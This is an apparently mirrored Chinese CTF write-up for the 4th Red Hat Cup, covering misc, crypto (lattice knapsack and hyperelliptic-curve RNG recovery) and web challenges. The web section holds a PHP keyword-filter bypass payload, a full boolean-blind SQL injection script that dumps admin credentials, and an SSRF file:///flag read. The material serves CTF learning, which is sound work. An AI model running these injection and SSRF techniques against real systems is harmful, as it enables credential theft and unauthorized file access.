2

第四届红帽杯网络安全大赛

 2 years ago
source link: https://lazzzaro.github.io/2021/05/09/match-%E7%AC%AC%E5%9B%9B%E5%B1%8A%E7%BA%A2%E5%B8%BD%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
第四届红帽杯网络安全大赛 | Lazzaro

这一届的misc+crypto也太少了,一二血同队+垂直上分明显。


下载附件EBCDIC.txt,根据文件名和内容,猜测为某种编码方式,搜索知为EBCDIC编码:

EBCDIC(广义二进制编码的十进制交换码,Extended Binary Coded Decimal Interchange Code),是字母或数字字符的二进制编码,是IBM为它的更大型的操作系统而开发的。它是为IBM的S/390上的IBMOS/390操作系统上使用的文本文件的编码,并且数千个公司为它们的遗留应用程序和数据库使用这种编码。在一个EBCDIC的文件里,每个字母或数字字符都被表示为一个8位的二进制数(一个0、1字符串)。256个可能的字符被定义(字母,数字和一些特殊字符)。
IBM的个人计算机和工作站操作系统不使用它们所有的EBCDIC编码。相反的,它们使用文本的工业标准编码,ASCII码。转化程序允许不同的操作系统从一种编码到另一种编码的转化。

找到在线解码网站,将16进制EBCDIC码解码为16进制ASCII码,再转为字符得到flag。

image-20210509182835650

flag值:flag{we1c0me_t0_redhat2021}

Crypto

primegame

#!/usr/bin/env python3

from decimal import *
import math
import random
import struct
from flag import flag

assert (len(flag) == 48)
msg1 = flag[:24]
msg2 = flag[24:]
primes = [2]
for i in range(3, 90):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

getcontext().prec = 100
keys = []
for i in range(len(msg1)):
keys.append(Decimal(primes[i]).ln())

sum_ = Decimal(0.0)
for i, c in enumerate(msg1):
sum_ += c * Decimal(keys[i])

ct = math.floor(sum_ * 2 ** 256)
print(ct)

sum_ = Decimal(0.0)
for i, c in enumerate(msg2):
sum_ += c * Decimal(keys[i])

ct = math.floor(sum_ * 2 ** 256)
print(ct)

597952043660446249020184773232983974017780255881942379044454676980646417087515453
425985475047781336789963300910446852783032712598571885345660550546372063410589918

代码逻辑:

将48长度的flag分为24长度两部分,生成90以内的素数列表primes和前24个素数自然对数列表keys,分别求出flag两部分的ascii值与key值乘积和。

S=ct⋅2256=∑i=124(ci⋅(keyi⋅2256))=∑i=124(ci⋅ki)S=ct⋅2256=∑i=124(ci⋅(keyi⋅2256))=∑i=124(ci⋅ki)

形式类似于0-1背包加密问题,其中公钥 kiki 与密文 SS 已知,需解密得明文 ci∈[0,128)ci∈[0,128)。

由于明文数量不大,且背包密度 d=nlog2(max(ki))≈0.0968d=nlog2⁡(max(ki))≈0.0968,可采用低密度攻击方法(Lagarias&Odlyzko算法 或 CJLOSS算法)恢复明文,构造格:

⎛⎝⎜⎜⎜⎜⎜⎜⎜b0b1⋮bnbn+1⎞⎠⎟⎟⎟⎟⎟⎟⎟=⎛⎝⎜⎜⎜⎜⎜⎜⎜10⋮0001⋮00⋯⋯⋱⋯⋯00⋮10Nk0Nk1⋮NknNkn+1⎞⎠⎟⎟⎟⎟⎟⎟⎟(b0b1⋮bnbn+1)=(10⋯0Nk001⋯0Nk1⋮⋮⋱⋮⋮00⋯1Nkn00⋯0Nkn+1)

from itertools import combinations
from decimal import Decimal, getcontext
import random
import struct

primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)

getcontext().prec = int(100)
keys = []
for i in range(len(primes)):
keys.append(int(Decimal(int(primes[i])).ln() * (2 ** 256)))

n = len(keys)
d = n / log(max(keys), 2)
assert CDF(d) < 0.9408

M = Matrix.identity(n)

last_row = [0 for x in keys]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

ct = '597952043660446249020184773232983974017780255881942379044454676980646417087515453'
# ct = '425985475047781336789963300910446852783032712598571885345660550546372063410589918'
last_col = keys[:]
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

M = M.stack(M_last_row)
M = M.augment(M_last_col)

X = M.LLL()
target = X[0][:-1]
flag = [-k for k in target]
print(bytes(flag).strip(b'\x00'))

#结果
#b'flag{715c39c3-1b46-4c23-'
#b'8006-27b43eba2446}'

flag值:flag{715c39c3-1b46-4c23-8006-27b43eba2446}

hpcurve

你的数学学的怎么样?

#!/usr/bin/env sage
import struct
from random import SystemRandom

p = 10000000000000001119
R.<x> = GF(p)[]
y=x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()

es = [SystemRandom().randrange(p**3) for _ in range(3)]
Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
q = []

def clk():
global Ds,es
Ds = [e*D for e,D in zip(es, Ds)]
return Ds

def generate():

u,v = sum(clk())
rs = [u[i] for i in range(3)] + [v[i] for i in range(3)]
assert 0 not in rs and 1 not in rs
q = struct.pack('<'+'Q'*len(rs), *rs)
return q


flag = "flag{xxxxxxx}"
text = 'a'*20+flag
t = ''
keys = generate()
leng = len(keys)
i = 0
for x in text:
t += chr(ord(keys[i%leng])^^ord(x))
i+=1
print t.encode('hex')

66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5

代码逻辑:

密文为flag与超椭圆曲线 y2=x+x7y2=x+x7 随机生成值异或得到,由于部分明文已知,通过随机生成器(RNG)部分的代码恢复剩余字符。

对于域 KK,亏格为 gg 超椭圆曲线基本形式是 C:y2+h(x)y=f(x)C:y2+h(x)y=f(x),其中 h(x),f(x)∈K[x]h(x),f(x)∈K[x](多项式系数都在 KK 上),且 deg(h(x))≤gdeg⁡(h(x))≤g,deg(f(x))=2g+1deg⁡(f(x))=2g+1。

超椭圆曲线密码体制是建立在超椭圆曲线的Jacobian群上的,有限域上超椭圆曲线的Jacobian群是一个有限交换群,Jacobian阶记为 J(C)J(C)。可以在 J(C)J(C)中定义归约除子的一个加法运算 。使得 J(C)J(C)成为一个交换群,这个有限交换群是超椭圆曲线密码体制的基础。

每个元素 D∈J(C)D∈J(C) 都可以唯一表示为 K[x]K[x] 上的一个多项式元组 ⟨u(x),v(x)⟩⟨u(x),v(x)⟩,多项式满足:

  • u(x)u(x) 是首一多项式
  • u(x)u(x) 整除 f(x)−h(x)v(x)−v2(x)f(x)−h(x)v(x)−v2(x)
  • deg(v(x))<deg(u(x))<gdeg⁡(v(x))<deg⁡(u(x))<g

这里 h(x)=0,f(x)=x+x7h(x)=0,f(x)=x+x7,RNG部分生成三个随机数 e1,e2,e3e1,e2,e3 以及三个元素 D1,D2,D3∈J(C)D1,D2,D3∈J(C),

RNG部分计算 ⟨u(x),v(x)⟩=e1D1+e2D2+e3D3⟨u(x),v(x)⟩=e1D1+e2D2+e3D3 并将系数转换为字节。

结合已知的a*20+flag共24字节,可以恢复 u(x)u(x)。

对于 v(x)v(x),根据 D∈J(C)D∈J(C) 的性质,有 f(x)−h(x)v(x)−v2(x)≡0(modu(x))f(x)−h(x)v(x)−v2(x)≡0(modu(x))

如果 xixi 是 u(x)u(x) 的根(KK 代数闭包下),有 f(xi)−h(xi)v(xi)−v2(xi)=0⟹v2(xi)+h(xi)v(xi)=f(xi)f(xi)−h(xi)v(xi)−v2(xi)=0⟹v2(xi)+h(xi)v(xi)=f(xi),

说明 (xi,v(xi))(xi,v(xi)) 是 CC 上的一个点。

又 h(xi)=0h(xi)=0,则 v2(xi)=f(xi)⟹v(xi)=±f(xi)−−−−√v2(xi)=f(xi)⟹v(xi)=±f(xi)。

由于 u(x)u(x) 次数为3,在KK 代数闭包下,可以找到三个根 x1,x2,x3x1,x2,x3,即 CC 上的三个点 (x1,v(x1)),(x2,v(x2)),(x3,v(x3))(x1,v(x1)),(x2,v(x2)),(x3,v(x3)),利用拉格朗日插值方法可以恢复 v(x)v(x)。

得到 u(x)u(x) 和 v(x)v(x),异或操作还原明文。

import struct
from itertools import product, cycle

p = 10000000000000001119
K = GF(p)
R.<x> = K[]
y = x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()

def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u

def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res

def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
decrypted = [a^^b for (a, b) in zip(output, cycle(otp)) ]
return bytes(decrypted)

output = bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_input = b'a' * 20 + b'flag'
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
#print((u,v))
print(try_decode(output,u,v))

#结果
#b'aaaaaaaaaaaaaaaaaaaaflag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag|\xb1J\xedFp^v2\xb9\x10\x16\xf6\xfddD(h7\xb6\xc3S\xe0\xcf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe3J\xad\x88\xb2\xac\xf8\x1c-C\x07\x97\x02/B47l\xd0\xf30\x8f&\xbf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe4\xca\xf5\xbd\xc6\xa6\x00B\xfe\xde\xe3z\x9a\xbe\x95D\xf9\xc2\xafD\xda\xff\xa3\xeb-97d120aae6fc}'

flag值:flag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}

find_it

主页面没什么有用信息,扫描发现robots.txt,访问提示:

When I was a child,I also like to read Robots.txt

Here is what you want:1ndexx.php

访问1ndexx.php报500 Internal Server Error,尝试看是否存在vim源码泄露,发现访问.1ndexx.php.swp能回显源码:

<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}

#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

代码逻辑:

flag.php文件内容读入变量$I_know_you_wanna_but_i_will_not_give_you_hhh,并将传入的code参数值与变量$I_know_you_wanna_but_i_will_not_give_you_hhh一起写入hack.php文件中。

code参数值过滤的关键字不少:

system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|~|^|`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump

用命令执行、文件读写等多种方式尝试向hack.php写入php代码,以显示flag.php文件内容,发现show_source()函数可行。

payload: ?code=<?=show_source("fla"."g.php");

最后访问hack.php,得到flag.php内容:

<?php 

#ini_set('display_errors',true);
#error_reporting(E_ALL ^ E_NOTICE);

flag=MZWGCZ33HA3GIOJWHA2DGLJYGNTDCLJUGE3DSLJZMQZDILJZGY3TIZRTHE3GMMJQGN6Q====;

echo "What is important for a new bird of php??"
?>

Base32解码得flag。

flag值:flag{86d96843-83f1-4169-9d24-9674f396f103}

WebsiteManager

最新的网站测试器,作为非站长的你,能利用好它的功能吗?

查看网页源码发现image.php?id=1,猜测存在sql注入,手工测试发现过滤了空格和双引号,且测试?id=-2/**/or/**/1=1有图片显示,?id=-2/**/or/**/1=2无图片显示,验证存在注入点,采用布尔盲注跑出登录用户名和密码:

import requests

url = "http://eci-2zefme7yqvztnp4652um.cloudeci1.ichunqiu.com/image.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(database())),{i},1))>{mid},1,0)'
# payload = f'''if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid},1,0)'''
# payload = f'''if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{i},1))>{mid},1,0)%23'''
payload = f'''if(ascii(substr((select(group_concat(username,password))from(ctf.users)),{i},1))>{mid},1,0)%23'''
data = {
'id': f"-2/**/or/**/{payload}"
}
r = requests.get(url,params=data)
if "HRN" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

#结果
#库名: ctf
#表名: images,users
#users表中列名: username,password
#users表中值: admin,9ebab83595888e5a8bd57

admin9ebab83595888e5a8bd57直接登录,结合curl.php猜测是SSRF,填入http://127.0.0.1/得到访问结果回显验证猜测,尝试改用file伪协议直接读取根目录flag文件得到flag。

image-20210509192000500

payload: file://127.0.0.1/flagfile:///flag

flag值:flag{f0d06b4c-954e-4a76-ad5d-95bd0227daea}


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK